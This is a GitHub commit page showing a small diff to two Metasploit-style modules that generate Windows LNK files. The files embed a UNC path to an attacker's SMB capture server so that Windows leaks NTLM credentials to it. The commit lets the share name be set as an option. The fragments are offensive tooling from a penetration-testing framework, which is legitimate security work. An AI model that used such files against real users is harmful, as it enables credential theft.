Skip to content

Commit 310b8b7

Browse files
committed
Includes share datastore option in UNC path
1 parent 38efab0 commit 310b8b7

File tree

2 files changed

+6
-3
lines changed

2 files changed

+6
-3
lines changed

modules/auxiliary/fileformat/environment_variable_datablock_leak.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -141,7 +141,9 @@ def create_lnk_file
141141
data += [env_block_sig].pack('V')
142142

143143
# Target field in ANSI (260 bytes)
144-
unc_path = get_unc_path
144+
unc_share = datastore['SHARE']
145+
unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?
146+
unc_path = "\\\\#{srvhost}\\#{unc_share}"
145147

146148
# Create fixed-size ANSI buffer with nulls
147149
ansi_buffer = "\x00".b * 260

modules/auxiliary/fileformat/icon_environment_datablock_leak.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -64,8 +64,9 @@ def run
6464
icon_path = "%SystemRoot%\\System32\\#{Faker::File.file_name(ext: 'ico')}.to_s}%SystemRoot%\System32\shell32.dll" if icon_path.blank?
6565

6666
start_smb_capture_server
67-
68-
unc_path = "\\\\#{srvhost}\\\\#{Rex::Text.rand_text_alphanumeric(6)}"
67+
unc_share = datastore['SHARE']
68+
unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?
69+
unc_path = "\\\\#{srvhost}\\\\#{unc_share}"
6970
lnk_data = create_lnk_file(description, icon_path, unc_path)
7071
filename = file_create(lnk_data)
7172
print_good("LNK file created: #{filename}")

0 commit comments

Comments
 (0)